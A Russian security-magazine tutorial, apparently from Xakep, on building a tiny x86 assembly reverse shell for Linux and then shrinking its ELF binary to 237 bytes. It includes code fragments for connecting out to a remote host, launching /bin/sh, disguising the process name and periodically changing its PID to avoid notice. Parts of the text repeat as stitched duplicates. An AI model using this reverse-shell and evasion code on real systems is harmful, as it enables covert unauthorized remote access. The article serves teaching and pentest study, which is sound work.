Однажды меня спросили: можно ли написать реверс‑шелл байт эдак на 200, который, помимо прочего, менял бы себе имя, периодически — PID, варил кофе и желательно взламывал Пентагон? Ответ, увы, очевиден — «нельзя». Однако задача, как мне показалось, сама по себе весьма интересная. Посмотрим, какие есть пути к ее решению.
А суть вот в чем. Цель данной статьи учебная: равно как разработка ядерных руткитов — один из наиболее наглядных способов разобраться с устройством самого ядра Linux, написание обратного шелла с дополнительной функциональностью и одновременно с ограничениями по размеру исполняемого файла позволяет изучить некоторые неожиданные особенности положения вещей в Linux, в частности касающихся ELF-файлов, их загрузки и запуска, наследования ресурсов в дочерних процессах и работы компоновщика (он же линкер, линковщик, редактор связей). По ходу дела нас ждет множество интересных открытий и любопытных хаков. А бонусом нам будет рабочий инструмент, который заодно можно допиливать и применять в пентесте. Посему начнем!
Результаты трудов доступны на гитхабе.
В некоторых случаях секции, хранящие эти функции, могут иметь имена .ctors/.init/.init_array и .dtors/.fini/.fini_array. Все они играют в целом одну роль, и различия нас в рамках данной статьи не интересуют. Подробнее о глобальных конструкторах и деструкторах можно почитать на wiki.osdev.org.
Также на выходе исполняемый файл может содержать секции с отладочной и прочей информацией (например, имена символов, версия компилятора), которая не используется непосредственно для его запуска и работы, но занимаемое файлом пространство увеличивает, и иногда значительно. О таких секциях мы поговорим немного позже.
Данная обвязка неразрывно связана с С‑бинарями как минимум в Linux. Для нас же в рамках нашей задачи она — балласт, от которого необходимо нещадно избавляться. Так что реверс‑шелл наш будет написан на великом и ужасном языке ассемблера (естественно, под x86). План таков: сперва напишем рабочий код, а уже затем будет заниматься кардинальным уменьшением его размера.
Код будет делать следующее:
Краткое имя, согласно описанию, содержит имя исполняемого файла без пути до него. Это имя хранится в ядерной структуре task_struct, описывающей процесс (задачу, если более корректно в терминах ядра), и имеет ограничение длины в 16 символов, включая нуль‑байт.
Полное имя содержит аргументы запуска программы, они же *argv[]: в нулевом элементе массива — имя исполняемого файла так, как оно было указано при запуске; в остальных — аргументы, если они были переданы.
Смена краткого имени сложностей не вызывает. Воспользуемся для этого системным вызовом prctl(). С его помощью процесс или поток может осуществлять различные операции над самим собой: над своим именем, привилегиями (capabilities), областями памяти, режимом seccomp и много чем еще. Номер нужной операции передается первым аргументом, затем идут остальные параметры, число которых может варьироваться. Нас интересует операция PR_SET_NAME, где вторым аргументом передается указатель на новое имя. При этом, если имя с нуль‑байтом длиннее 16 символов, оно будет обрезано.
Таким образом, для смены краткого имени нужно вызвать prctl(PR_SET_NAME, NEW_ARGV), где NEW_ARGV содержит адрес нового имени. Для этого используем следующий код:
Много полезной информации о системных вызовах можно найти в man 2 syscall. Там же для зоопарка поддерживаемых в Linux платформ и ABI есть две таблицы: с инструкциями для совершения системного вызова и с регистрами, используемыми при передаче аргументов и возврате значений. Имей в виду, что соглашения о вызовах, по крайней мере на x86, отличаются от таковых в юзермодных приложениях.
Попробуем теперь переписать argv[0]. Следующий кусок кода выполняет действия, аналогичные сишной strncpy(&argv[0], NEW_ARGV, strlen(argv[0] + 1)), при этом адрес argv[0] предварительно был положен на стек:
Этот адрес помещается в регистр edi (destination index register). В регистр esi (source index register) отправляется адрес устанавливаемого нами имени "s0l3g1t", а в ecx — его длина, включая нулевой байт. Однако оказывается, что если изначальный argv[0] ("./asm_shell") был длиннее нового, то, несмотря на наличие завершающего нуль‑байта, вывод ps будет таков.
Вывод ps при перезаписи нулевого аргумента «в лоб»
Как‑то не особо здорово. Попробуем его сначала заполнить нулями и лишь затем перезаписывать.
Вывод ps при перезаписи зануленного нулевого аргумента
Уже лучше — в выводе ps ничего подозрительного! Хотя все еще есть к чему стремиться. А что скажет нам мануал? Совсем немного поискав, натыкаемся на такое место в man 5 proc (подраздел о /proc/[pid]/cmdline):
По этой же причине замена адреса самого массива строк argv[] на стеке «в лоб» не приведет к смене содержимого /proc/[pid]/cmdline: Linux хранит адреса начала и конца памяти, где находятся аргументы процесса, причем содержимое именно этой памяти и выводится. То же верно и для переменных окружения. И потому xxd выводит нули.
В общем, будем исходить из предположения, что реверс‑шелл запущен от имени простого пользователя и возможности установить CAP_SYS_RESOURCE никоим образом нет. Поэтому просто занулим весь изначальный argv[0] и запишем поверх него свой. Часто ли кому‑либо приходит в голову смотреть имя процесса через /proc в xxd?
Осталось разобраться с подменой имени /bin/sh, ведь после вызова execve() для запуска шелла его *argv[] будет предательски являть взору админа /bin/sh в выводе ps и htop, а также в /proc/<pid>/cmdline. К счастью, это решается проще простого: нужно всего лишь передать собственный argv[0] вторым аргументом этому сисколу. Притом важно иметь в виду, что передается указатель на массив аргументов (строк), который должен завершаться нулевым указателем. Поэтому перед тем, как положить на стек адрес NEW_ARGV, туда кладется 0:
Но сменить при этом и краткое имя через prctl() так просто мы уже не можем, поскольку работаем из оболочки, где вызов сисколов напрямую недоступен. Однако есть иные интересные способы это сделать.
Сокет — конечная точка соединения в Linux, и не обязательно это сетевое соединение, как в случае unix- и netlink-сокетов. При создании сокета необходимо указать семейство адресов, или протоколов (на текущий момент первые — это псевдонимы вторых), которому он будет принадлежать, тип сокета (потоковый, датаграммный, сырой и прочие) и протокол (зависит от семейства, см. man protocols). Нам необходим потоковый (TCP, SOCK_STREAM) интернет‑сокет (семейство AF_INET), а протокол при передаче нуля будет выбран автоматически:
На некоторых платформах (в частности, x86_32) для сокетных функций вместо отдельных сисколов socket(), bind(), connect() и так далее используется единый системный вызов socketcall(), первым аргументом которому передается номер необходимой функции. Эти номера определены в ядре Linux. Вопрос сокетных системных вызовов немного освещен в этой статье.
Параметр struct sockaddr — это что‑то вроде «базового класса» для описания адресов различных протоколов. Он имеет лишь два поля:
Значение первого должно совпадать с семейством созданного прежде сокета. И именно второе поле описывает адрес, с которым будет связан сокет. Как ты понимаешь, в разных протоколах форматы адресов отличаются, поэтому существуют также sockaddr_in/sockaddr_in6 (internet-сокеты), sockaddr_un (unix-сокеты) и многие другие. Хотя все они — своего рода надстройка над структурой sockaddr, к типу которой спокойно приводятся для поддержания единого API сокетных функций. К примеру, sockaddr_in делит поле sa_data на IP-адрес и номер порта, при этом остается восемь неиспользуемых байт (см. также man 7 ip):
В общем, наша задача — корректно сформировать эту структуру на стеке и передать ее адрес системному вызову connect(). Как отмечено, порт (REV_PORT) и IP-адрес (REV_IP) в этой структуре должны иметь сетевой порядок байтов, то есть быть Big Endian (MSB). Следующий код осуществляет вызов connect(socketfd, addr, sizeof(addr)), где socketfd был получен нами ранее:
Если подключиться не удалось, следует повторить попытку через некоторое время. Здесь все просто: проверяем код возврата, который мы получили в eax, — в случае успешного подключения он равен 0, а при ошибке -1. При этом перед новой попыткой подключения реверс‑шелл должен создавать дочерний процесс и завершать родительский, чтобы сменился его PID. Спать при этом будет уже дочерний. И для простоты пусть тайм‑аут будет всегда пять секунд, хотя и неплохо бы, чтобы это было случайным значением из некоего диапазона.
С функцией сна придется совсем чуть‑чуть повозиться. Мы не можем просто так вызвать sleep(5), потому что нужный нам сискол принимает два указателя на структуры — одна описывает продолжительность сна, а во вторую записывается оставшееся время, если сон был чем‑то прерван (например, прилетевшим сигналом):
Однако мануал говорит, что rem может быть равен NULL, а это нам только на руку. Остается лишь записать в структуру req секунды и наносекунды, в течение которых мы собираемся спать:
Оба числа имеют тип long int, что на x86_32 составляет 4 байта. То есть заполнять структуру и вызывать сискол будем так, не забыв после подчистить за собой стек:
Результатом работы всего безобразия можешь полюбоваться на скрине.
Спим, меняем имя, не сдаемся!
5 Кбайт... Это много или мало?
Хочу отметить, эта статья в значительной мере вдохновлена изысканиями, второе название которых очень говорящее — Size Is Everything (также есть на гитхабе). Суть в том, чтобы максимально отсечь все лишнее из ELF-файла, разбирая по ходу дела внутренности ELF и Linux, и получить при этом рабочий бинарь. Сам он при этом не делает ничего, только завершается с ответом на самый главный вопрос во Вселенной, — а именно возвращает код 42. Спойлер: автору при начальных 4 Кбайт удалось получить 45 байт!
Итак, мы имеем шелл на 4912 байт. Время углубиться в познание эльфийской сущности.
Мы ассемблируем .asm-файл с помощью NASM, а он выдает «перемещаемый» (Relocatable) ELF-файл (обычно у них расширение .o). Такие файлы, например, получаются при сборке проекта из нескольких исходных файлов по схеме «один исходник — один перемещаемый эльф» (которые, кстати, могут быть написаны и не на одном языке). Данное явление имеет еще гордое название «единица трансляции».
Перемещаемые эльфы содержат секции с данными и кодом, которые могут быть связаны с другими файлами для получения исполняемого бинаря. Собственно, этим и занимается компоновщик (линкер), услугами которого мы воспользуемся. В нашем случае это ld. Он ожидает в одном из входных файлов функцию с именем _start, которую и сделает точкой входа.
В начале была матрица
Давай‑ка посмотрим, какие опции компоновщика за это отвечают. Судя по описанию ключа -n — Do not page align data, он нам и нужен. Проверим?
Убираем выравнивание по странице
912 байт! Намного лучше. Теперь код начинается с физического смещения 0x60. Что теперь? Пришла пора поиграть с секциями.
Исходный код на разных этапах редактирования можешь поизучать по истории коммитов.
Секции нашего реверс‑шелла
Откуда же взялись еще секции, ведь в наших исходниках была лишь секция .text, содержащая код? Здесь нужно поразмышлять о том, как мы получили исполняемый файл. Например, чтобы ld смог найти функцию _start(), информация об этом должна где‑то находиться. И находится она в таблице символов в .o-файле, в секциях .symtab и .strtab.
Информация о символах в перемещаемом эльфе
Как видишь, здесь присутствуют все наши метки, указанные в исходниках. А вот в исполняемом файле наличие таблицы символов не является необходимым для работы. Поэтому к нему можно безболезненно применить команду strip или использовать ключ линкера -s, чтобы избавиться от символов в нем. При этом, если «стрипнуть» символы в перемещаемом файле, линкер заругается на невозможность найти точку входа и собрать исполняемый эльф, что и логично. Итак, сэкономим еще чуть больше половины — 468 байт.
Реверс‑шелл без информации о символах
Более того, для корректной работы бинаря не является необходимой информация о секциях в принципе! Самый простой способ избавиться от них — вырезать их из исполняемого файла «в лоб», например с помощью dd if=./asm_shell of=./asm_shell_trunc bs=1 count=<N>. К счастью для нас, таблица секций находится в конце файла, поэтому это делается без лишних усилий. В нашем случае она начинается по смещению 0x130 (304).
Готовим к препарированию
Но чтобы не осталось информации о том, что секции вообще были, следует не только обрезать SHT в конце файла, но и занулить поля в заголовке ELF-файла, где указаны смещение таблицы секций, размер записи в ней и их количество (соответственно e_shoff, e_shentsize и e_shnum в структуре ElfN_Ehdr). Они подчеркнуты на рисунке выше. Более подробно об удалении заголовков секций написано в статье «ELF — No Section Header? No Problem», а о самих секциях можно почитать, например, в блоге Oracle.
Структура ELF-заголовка наглядно представлена на этой схеме, с которой советую обязательно разобраться, если ты дочитал досюда. Только имей в виду, что на ней рассмотрен 32-битный эльф, размеры отдельных полей которого меньше, чем в 64-битном.
Теперь наш реверс‑шелл занимает 304 байта. Выжмем еще?
Три байта против семи
Давай пересмотрим теперь наш код с этой точки зрения. Безусловно, с большой вероятностью пострадает его читабельность, но хуже‑то работать он от этого не станет! В первую очередь нужно не записывать малые числа напрямую в регистры. У нас это преимущественно номера системных вызовов.
Расточаемое пространство
Замена инструкций вида mov REG, IMM на push IMM; pop REG действительно поможет с сисколами, имеющими низкие номера, но вот с числами, большими 0x7f, push IMM начинает занимать 5 байт вместо двух, к которым добавляется байт на pop REG. Смещения в реверс‑шелле, как видишь, куда больше этого значения, поэтому, пытаясь таким образом сэкономить на них, мы больше потеряем. А в некоторых случаях вместо того, чтобы помещать напрямую единицу в регистр, можно просто инкрементировать его, предварительно не забыв занулить. Сравни!
Помещаем единицу в ebx
Также нам не нужны некоторые инструкции для инициализации регистров, потому что изначально те все равно занулены. А, к примеру, конкретными значениями наносекунд сна и кода выхода при неудачной попытке соединения можно пренебречь — сокращаем их. То, как мы кладем на стек структуру sockaddr_in, можно тоже сократить и вместо двух раздельных инструкций на семейство и номер порта (которые в сумме в структуре занимают 4 байта) положить их одним заходом.
Так наш код «похудел» еще на 25 байт и составляет 279 байт. Дальше нас ждет только чистое творчество (и немного — тяготы поисков).
Здесь понадобится изменить параметры сборки. Поскольку мы собрались править сам ELF-заголовок, который вообще‑то генерируется линкером, то придется отказаться от его услуг. Как раз на такой случай NASM позволяет указать «сырой» формат выходного файла: nasm -f bin asm_shell.asm -o asm_shell.raw. В этом случае он собирает файл так, как тот описан в исходнике, не добавляя к нему вообще никаких заголовков. В данном случае нужно указать адрес, куда, как ожидается, это добро будет загружено, чтобы NASM мог правильно вычислить точку входа и прочие смещения. Для этого указывается директива org 0x08048000.
Еще одна вещь, которую мы вправе поменять без вреда для работы бинаря, — зануленная ранее информация о таблице секций. В ELF-заголовке находятся подряд такие поля:
Во вторую цепочку можно вынести код, завершающий процесс при неудачном соединении (он занимает 5 байт), а на его изначальное место поместить jmp _exit, сэкономив еще 3 байта. Теперь наш собранный вручную заголовок выглядит так:
После всех манипуляций бинарь имеет размер 254 байта. Что мы теперь можем предпринять? Например, попробовать сделать так, чтобы ELF-заголовок и программный (PHT, Program Header Table) перекрывались, как предлагается в уже упомянутой статье «Size Is Everything». Это возможно, поскольку последние 8 байт ELF-заголовка идентичны первым 8 байтам PHT, а те байты ELF-заголовка, что перекроются новыми значениями, не играют критической роли для запуска файла. Правда, вынесенный нами в заголовок код _exit тогда придется вернуть на место. Плюс еще небольшая игра с регистрами, и получаем реверс‑шелл на 237 байт. Это, считай, двадцатая часть первоначального размера!
Вот и весь реверс‑шелл
Поскольку у нас имеется рабочий обратный шелл, ему можно навесить побольше соответствующей функциональности. Например, игнорирование сигналов, простукивание портов, шифрование трафика... Но это уже другая история.
автор @kclo3
Ксения Кирилова
xakep.ру
И СНОВА: ЗАЧЕМ?
На просторах сети можно легко найти, к примеру, tiny shell, prism и другие реверс‑шеллы. Те из них, что написаны на С, занимают лишь десятки‑сотни килобайт. Так к чему создавать еще один?А суть вот в чем. Цель данной статьи учебная: равно как разработка ядерных руткитов — один из наиболее наглядных способов разобраться с устройством самого ядра Linux, написание обратного шелла с дополнительной функциональностью и одновременно с ограничениями по размеру исполняемого файла позволяет изучить некоторые неожиданные особенности положения вещей в Linux, в частности касающихся ELF-файлов, их загрузки и запуска, наследования ресурсов в дочерних процессах и работы компоновщика (он же линкер, линковщик, редактор связей). По ходу дела нас ждет множество интересных открытий и любопытных хаков. А бонусом нам будет рабочий инструмент, который заодно можно допиливать и применять в пентесте. Посему начнем!
Результаты трудов доступны на гитхабе.
ОПРЕДЕЛЯЕМСЯ С ТЗ
Итак, наш реверс‑шелл помимо того, что подключаться к заданному хосту на заданный порт, также должен:- изменять собственное имя при запуске — так мы будем менее заметны;
- периодически менять идентификатор процесса — так мы будем менее уловимы;
- иметь минимально возможный размер — так будет интереснее.
- за запуск глобальных конструкторов и деструкторов, если они есть;
- за корректную передачу аргументов в main();
- за передачу управления затем из __libc_start_main() в main().
Конструкторы и деструкторы
Массивы функций‑конструкторов и функций‑деструкторов запускаются перед и после main() соответственно. Их код находится в отдельных секциях в противовес «обычному», попадающему в .text. Такие функции используются, например, для различных инициализаций в разделяемых библиотеках или для установки параметров буферизации в некоторых приложениях, взаимодействующих по сети (в частности, это иногда встречается в CTF-тасках). Чтобы функция попала в одну из этих секций, следует указывать __attribute__ ((constructor)) или __attribute__ ((destructor)) перед определением функции.В некоторых случаях секции, хранящие эти функции, могут иметь имена .ctors/.init/.init_array и .dtors/.fini/.fini_array. Все они играют в целом одну роль, и различия нас в рамках данной статьи не интересуют. Подробнее о глобальных конструкторах и деструкторах можно почитать на wiki.osdev.org.
Также на выходе исполняемый файл может содержать секции с отладочной и прочей информацией (например, имена символов, версия компилятора), которая не используется непосредственно для его запуска и работы, но занимаемое файлом пространство увеличивает, и иногда значительно. О таких секциях мы поговорим немного позже.
Данная обвязка неразрывно связана с С‑бинарями как минимум в Linux. Для нас же в рамках нашей задачи она — балласт, от которого необходимо нещадно избавляться. Так что реверс‑шелл наш будет написан на великом и ужасном языке ассемблера (естественно, под x86). План таков: сперва напишем рабочий код, а уже затем будет заниматься кардинальным уменьшением его размера.
КОДИМ
Мы будем использовать NASM. За основу возьмем простейший асмовый реверс‑шелл. Размышления на тему, должен ли наш код быть 32- или 64-битным, привели меня к выводу, что первый вариант предпочтительнее: инструкции в этом режиме меньше, а необходимой функциональности мы не теряем, ведь наша главная задача по сути состоит лишь в подключении к серверу и запуске оболочки, а сама она будет работать уже в 64-битном режиме.Код будет делать следующее:
- при запуске реверс‑шелл меняет свой первый аргумент запуска — эти аргументы отображаются в ps, htop;
- также меняет краткое имя — оно отображается утилитой top;
- затем пробует подключиться к серверу. При неудаче создается дочерний процесс, завершается родительский, выжидается тайм‑аут, после чего попытка подключения повторяется;
- при успешном подключении запускается /bin/sh, stdin, stdout и stderr которого связаны с сокетом, общающимся с сервером. Имя процесса также подменяется.
Что в имени тебе?
В Linux можно встретить две «сущности», хранящие связанное с процессом имя. Назовем их «полное» и «краткое имя». Оба доступны через /proc: полное в /proc/<pid>/cmdline, краткое в /proc/<pid>/comm (comm от command).Краткое имя, согласно описанию, содержит имя исполняемого файла без пути до него. Это имя хранится в ядерной структуре task_struct, описывающей процесс (задачу, если более корректно в терминах ядра), и имеет ограничение длины в 16 символов, включая нуль‑байт.
Полное имя содержит аргументы запуска программы, они же *argv[]: в нулевом элементе массива — имя исполняемого файла так, как оно было указано при запуске; в остальных — аргументы, если они были переданы.
Смена краткого имени сложностей не вызывает. Воспользуемся для этого системным вызовом prctl(). С его помощью процесс или поток может осуществлять различные операции над самим собой: над своим именем, привилегиями (capabilities), областями памяти, режимом seccomp и много чем еще. Номер нужной операции передается первым аргументом, затем идут остальные параметры, число которых может варьироваться. Нас интересует операция PR_SET_NAME, где вторым аргументом передается указатель на новое имя. При этом, если имя с нуль‑байтом длиннее 16 символов, оно будет обрезано.
Таким образом, для смены краткого имени нужно вызвать prctl(PR_SET_NAME, NEW_ARGV), где NEW_ARGV содержит адрес нового имени. Для этого используем следующий код:
Код:
mov eax, 0xac ; NR_PRCTL
mov ebx, 15 ; PR_SET_NAME
mov ecx, NEW_ARGV
int 0x80 ; syscall interrupt
...
NEW_ARGV:
db "s0l3g1t", 0
Попробуем теперь переписать argv[0]. Следующий кусок кода выполняет действия, аналогичные сишной strncpy(&argv[0], NEW_ARGV, strlen(argv[0] + 1)), при этом адрес argv[0] предварительно был положен на стек:
Код:
mov edi, [esp] ; edi = &argv[0]
mov esi, NEW_ARGV
mov ecx, _start - NEW_ARGV ; ecx = strlen(NEW_ARGV) + NULL-byte
_name_loop:
movsb ; edi[i] = esi[i] ; i+=1
loop _name_loop
...
NEW_ARGV:
db "s0l3g1t", 0
_start:
...
Вывод ps при перезаписи нулевого аргумента «в лоб»
Как‑то не особо здорово. Попробуем его сначала заполнить нулями и лишь затем перезаписывать.
Вывод ps при перезаписи зануленного нулевого аргумента
Уже лучше — в выводе ps ничего подозрительного! Хотя все еще есть к чему стремиться. А что скажет нам мануал? Совсем немного поискав, натыкаемся на такое место в man 5 proc (подраздел о /proc/[pid]/cmdline):
А в man 2 prctl находим, помимо параметра PR_SET_MM_ARG_START, также PR_SET_MM_ARG_END (с небольшой пометкой, что эти опции доступны начиная с версии Linux 3.5). Кажется, второй параметр — как раз то, что надо! Да вот незадача: для выполнения операций prctl(), затрагивающих память процесса, нужна привилегия CAP_SYS_RESOURCE (иначе ведь было бы слишком уж просто!). А ее установка требует прав суперпользователя.Furthermore, a process may change the memory location that this file refers via prctl(2) operations such as PR_SET_MM_ARG_START.
По этой же причине замена адреса самого массива строк argv[] на стеке «в лоб» не приведет к смене содержимого /proc/[pid]/cmdline: Linux хранит адреса начала и конца памяти, где находятся аргументы процесса, причем содержимое именно этой памяти и выводится. То же верно и для переменных окружения. И потому xxd выводит нули.
В общем, будем исходить из предположения, что реверс‑шелл запущен от имени простого пользователя и возможности установить CAP_SYS_RESOURCE никоим образом нет. Поэтому просто занулим весь изначальный argv[0] и запишем поверх него свой. Часто ли кому‑либо приходит в голову смотреть имя процесса через /proc в xxd?
Осталось разобраться с подменой имени /bin/sh, ведь после вызова execve() для запуска шелла его *argv[] будет предательски являть взору админа /bin/sh в выводе ps и htop, а также в /proc/<pid>/cmdline. К счастью, это решается проще простого: нужно всего лишь передать собственный argv[0] вторым аргументом этому сисколу. Притом важно иметь в виду, что передается указатель на массив аргументов (строк), который должен завершаться нулевым указателем. Поэтому перед тем, как положить на стек адрес NEW_ARGV, туда кладется 0:
Код:
xor eax, eax
push dword 0x0068732f ; push "/sh"
push dword 0x6e69622f ; push /bin (="/bin/sh")
mov ebx, esp ; ebx = ptr to "/bin/sh" into ebx
push edx ; edx = 0x00000000
mov edx, esp ; **envp = edx = ptr to NULL address
push ebx ; pointer to /bin/sh
push 0
push NEW_ARGV
mov ecx, esp ; ecx points to shell's argv[0] ( &NEW_ARGV )
mov al, 0xb
int 0x80 ; execve("/bin/sh", &{ NEW_ARGV, 0 }, 0)
«Давай по новой»
Чтобы соединиться с сервером, нужно создать сокет, заполнить структуру, содержащую адрес для подключения, — struct sockaddr и приконнектиться по нему.Сокет — конечная точка соединения в Linux, и не обязательно это сетевое соединение, как в случае unix- и netlink-сокетов. При создании сокета необходимо указать семейство адресов, или протоколов (на текущий момент первые — это псевдонимы вторых), которому он будет принадлежать, тип сокета (потоковый, датаграммный, сырой и прочие) и протокол (зависит от семейства, см. man protocols). Нам необходим потоковый (TCP, SOCK_STREAM) интернет‑сокет (семейство AF_INET), а протокол при передаче нуля будет выбран автоматически:
Код:
mov al, 0x66 ; 0x66 = 102 = socketcall()
push ebx ; 3rd arg: socket protocol = 0
mov bl, 0x1 ; ebx = 1 = socket() function
push byte 0x1 ; 2nd arg: socket type = 1 (SOCK_STREAM)
push byte 0x2 ; 1st arg: socket domain = 2 (AF_INET)
mov ecx, esp ; copy stack structure's address to ecx (pointer)
int 0x80 ; eax = socket(AF_INET, SOCK_STREAM, 0)
Параметр struct sockaddr — это что‑то вроде «базового класса» для описания адресов различных протоколов. Он имеет лишь два поля:
Код:
/* Structure describing a generic socket address. */
struct sockaddr {
unsigned short sa_family; /* Common data: address family and length. */
char sa_data[14]; /* Address data. */
};
Код:
struct sockaddr_in {
sa_family_t sin_family; /* address family: AF_INET */
in_port_t sin_port; /* port in network byte order */
struct in_addr sin_addr; /* internet address */
unsigned char sin_zero[8]; /* Pad to size of 'struct sockaddr' */
};
/* Internet address */
struct in_addr {
uint32_t s_addr; /* address in network byte order */
};
Код:
mov al, 0x66 ; 0x66 = 102 = socketcall()
push dword REV_IP ; Remote IP address
push word REV_PORT ; Remote port
push word 0x0002 ; sin_family = 2 (AF_INET)
mov ecx, esp ; ecx = ptr to *addr structure
push byte 16 ; addr_len = 16 (structure size)
push ecx ; push ptr of args structure
push ebx ; ebx = socketfd
mov bl, 0x3 ; ebx = 3 = connect()
mov ecx, esp ; save esp into ecx, points to socketfd
int 0x80 ; eax = connect(socketfd, *addr[2, PORT, IP], 16) = 0 on success
С функцией сна придется совсем чуть‑чуть повозиться. Мы не можем просто так вызвать sleep(5), потому что нужный нам сискол принимает два указателя на структуры — одна описывает продолжительность сна, а во вторую записывается оставшееся время, если сон был чем‑то прерван (например, прилетевшим сигналом):
Код:
int nanosleep(const struct timespec *req, struct timespec *rem)
Код:
struct timespec {
time_t tv_sec; /* goes to 'long int' */
long tv_nsec;
};
Код:
mov eax, NR_NANOSLEEP
push dword 0 ; nsec
push dword 2 ; sec
mov ebx, esp ; ebx = struct timespec *req
xor ecx, ecx ; ecx = struct timespec *rem = NULL
int 0x80
add esp, 8 ; cleanup
Спим, меняем имя, не сдаемся!
ДИЕТА ДЛЯ ЭЛЬФА
Полдела сделано: получен рабочий реверс‑шелл! А какого он вышел размера? При использовании nasm -f elf32 asm_shell.asm -o asm_shell.o && ld asm_shell.o -o asm_shell -m elf_i386 для сборки бинаря получаем около 5 Кбайт.5 Кбайт... Это много или мало?
Хочу отметить, эта статья в значительной мере вдохновлена изысканиями, второе название которых очень говорящее — Size Is Everything (также есть на гитхабе). Суть в том, чтобы максимально отсечь все лишнее из ELF-файла, разбирая по ходу дела внутренности ELF и Linux, и получить при этом рабочий бинарь. Сам он при этом не делает ничего, только завершается с ответом на самый главный вопрос во Вселенной, — а именно возвращает код 42. Спойлер: автору при начальных 4 Кбайт удалось получить 45 байт!
Итак, мы имеем шелл на 4912 байт. Время углубиться в познание эльфийской сущности.
Пара слов о сборке «крошки эльфа»
Всякий, имевший дело с С, знает, что программа начинается с main() — эту функцию непременно ожидает в коде gcc. На самом деле не совсем: именно выполнение исполняемого файла начинается с точки входа (entry point), и это обычно функция _start(), отвечающая за предварительную подготовку и передачу управления в main().Мы ассемблируем .asm-файл с помощью NASM, а он выдает «перемещаемый» (Relocatable) ELF-файл (обычно у них расширение .o). Такие файлы, например, получаются при сборке проекта из нескольких исходных файлов по схеме «один исходник — один перемещаемый эльф» (которые, кстати, могут быть написаны и не на одном языке). Данное явление имеет еще гордое название «единица трансляции».
Перемещаемые эльфы содержат секции с данными и кодом, которые могут быть связаны с другими файлами для получения исполняемого бинаря. Собственно, этим и занимается компоновщик (линкер), услугами которого мы воспользуемся. В нашем случае это ld. Он ожидает в одном из входных файлов функцию с именем _start, которую и сделает точкой входа.
Что за пустота внутри?
Выполнив указанные выше команды, мы получили файл, в котором код (секция .text) начинается с физического смещения (смещение в файле на диске) 0x1000, подозрительно похожего на размер страницы, а перед ним лишь пространство, заполненное нулями. Это, между прочим, целых 4 Кбайт. Такое расточительство совершенно никуда не годится!
В начале была матрица
Давай‑ка посмотрим, какие опции компоновщика за это отвечают. Судя по описанию ключа -n — Do not page align data, он нам и нужен. Проверим?
Убираем выравнивание по странице
912 байт! Намного лучше. Теперь код начинается с физического смещения 0x60. Что теперь? Пришла пора поиграть с секциями.
Исходный код на разных этапах редактирования можешь поизучать по истории коммитов.
Да кому нужны эти SHT?
SHT — таблица заголовков секций (Section Header Table), хотя чаще можно встретить просто «таблица секций» или «заголовки секций». Здесь содержатся имена всех секций в файле, и ознакомиться с ними можно, запустив readelf -S.
Секции нашего реверс‑шелла
Откуда же взялись еще секции, ведь в наших исходниках была лишь секция .text, содержащая код? Здесь нужно поразмышлять о том, как мы получили исполняемый файл. Например, чтобы ld смог найти функцию _start(), информация об этом должна где‑то находиться. И находится она в таблице символов в .o-файле, в секциях .symtab и .strtab.
Информация о символах в перемещаемом эльфе
Как видишь, здесь присутствуют все наши метки, указанные в исходниках. А вот в исполняемом файле наличие таблицы символов не является необходимым для работы. Поэтому к нему можно безболезненно применить команду strip или использовать ключ линкера -s, чтобы избавиться от символов в нем. При этом, если «стрипнуть» символы в перемещаемом файле, линкер заругается на невозможность найти точку входа и собрать исполняемый эльф, что и логично. Итак, сэкономим еще чуть больше половины — 468 байт.
Реверс‑шелл без информации о символах
Более того, для корректной работы бинаря не является необходимой информация о секциях в принципе! Самый простой способ избавиться от них — вырезать их из исполняемого файла «в лоб», например с помощью dd if=./asm_shell of=./asm_shell_trunc bs=1 count=<N>. К счастью для нас, таблица секций находится в конце файла, поэтому это делается без лишних усилий. В нашем случае она начинается по смещению 0x130 (304).
Готовим к препарированию
Но чтобы не осталось информации о том, что секции вообще были, следует не только обрезать SHT в конце файла, но и занулить поля в заголовке ELF-файла, где указаны смещение таблицы секций, размер записи в ней и их количество (соответственно e_shoff, e_shentsize и e_shnum в структуре ElfN_Ehdr). Они подчеркнуты на рисунке выше. Более подробно об удалении заголовков секций написано в статье «ELF — No Section Header? No Problem», а о самих секциях можно почитать, например, в блоге Oracle.
Структура ELF-заголовка наглядно представлена на этой схеме, с которой советую обязательно разобраться, если ты дочитал досюда. Только имей в виду, что на ней рассмотрен 32-битный эльф, размеры отдельных полей которого меньше, чем в 64-битном.
Теперь наш реверс‑шелл занимает 304 байта. Выжмем еще?
«Ужимаем» инструкции
Об этом приеме знают те, кому приходилось писать шелл‑код под буферы ограниченного размера. Если же тебе это не особо близко, можешь ознакомиться, например, с материалом о шелл‑кодах от SPbCTF. Если вкратце: за счет того, что длина различных инструкций на x86 не одинакова, зачастую одно и то же на языке ассемблера можно выразить по‑разному. Вот один из моих любимых примеров.
Три байта против семи
Давай пересмотрим теперь наш код с этой точки зрения. Безусловно, с большой вероятностью пострадает его читабельность, но хуже‑то работать он от этого не станет! В первую очередь нужно не записывать малые числа напрямую в регистры. У нас это преимущественно номера системных вызовов.
Расточаемое пространство
Замена инструкций вида mov REG, IMM на push IMM; pop REG действительно поможет с сисколами, имеющими низкие номера, но вот с числами, большими 0x7f, push IMM начинает занимать 5 байт вместо двух, к которым добавляется байт на pop REG. Смещения в реверс‑шелле, как видишь, куда больше этого значения, поэтому, пытаясь таким образом сэкономить на них, мы больше потеряем. А в некоторых случаях вместо того, чтобы помещать напрямую единицу в регистр, можно просто инкрементировать его, предварительно не забыв занулить. Сравни!
Помещаем единицу в ebx
Также нам не нужны некоторые инструкции для инициализации регистров, потому что изначально те все равно занулены. А, к примеру, конкретными значениями наносекунд сна и кода выхода при неудачной попытке соединения можно пренебречь — сокращаем их. То, как мы кладем на стек структуру sockaddr_in, можно тоже сократить и вместо двух раздельных инструкций на семейство и номер порта (которые в сумме в структуре занимают 4 байта) положить их одним заходом.
Так наш код «похудел» еще на 25 байт и составляет 279 байт. Дальше нас ждет только чистое творчество (и немного — тяготы поисков).
Бонус: сплоитим заголовки
